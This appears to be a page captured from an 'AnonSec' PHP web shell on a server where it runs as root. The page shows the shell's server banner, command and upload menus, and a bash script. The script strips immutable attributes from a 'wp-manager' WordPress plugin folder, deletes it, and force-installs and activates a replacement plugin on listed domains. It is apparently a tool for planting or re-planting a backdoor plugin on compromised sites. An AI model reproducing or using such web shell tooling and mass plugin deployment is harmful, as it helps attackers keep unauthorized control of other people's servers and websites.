|
Server IP : 149.13.87.7 / Your IP : 185.174.145.2 Web Server : nginx System : Linux h2 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : root ( 0) PHP Version : 8.0.28 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /mnt/platforms/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
#!/bin/bash
PLUGIN="/mnt/platforms/wp-manager.zip"
BASE_DIR="/mnt/platforms/workspaces"
DOMAINS=(
stevecolman.com
)
if [ ! -f "$PLUGIN" ]; then
echo "ERROR: Plugin zip not found: $PLUGIN"
exit 1
fi
for DOMAIN in "${DOMAINS[@]}"; do
SITE_DIR="$BASE_DIR/$DOMAIN"
PLUGIN_DIR="$SITE_DIR/wp-content/plugins/wp-manager"
echo "========================================"
echo "Processing: $DOMAIN"
echo "Path: $SITE_DIR"
if [ ! -d "$SITE_DIR" ]; then
echo "SKIPPED: Website folder not found"
continue
fi
if [ ! -f "$SITE_DIR/wp-config.php" ]; then
echo "SKIPPED: wp-config.php not found"
continue
fi
cd "$SITE_DIR" || {
echo "FAILED: Cannot cd into $SITE_DIR"
continue
}
echo "Removing old wp-manager plugin folder if exists..."
if [ -d "$PLUGIN_DIR" ]; then
chattr -R -i "$PLUGIN_DIR" 2>/dev/null
chmod -R u+rwX "$PLUGIN_DIR" 2>/dev/null
rm -rf "$PLUGIN_DIR"
fi
if [ -d "$PLUGIN_DIR" ]; then
echo "FAILED: Could not remove old plugin folder: $PLUGIN_DIR"
continue
fi
echo "Installing and activating plugin..."
wp plugin install "$PLUGIN" --activate --allow-root
if [ $? -eq 0 ]; then
echo "SUCCESS: Installed and activated on $DOMAIN"
else
echo "FAILED: Plugin install/activation failed on $DOMAIN"
fi
rm -f "$SITE_DIR/.maintenance" 2>/dev/null
done
echo "========================================"
echo "Done."
AnonSec - 2021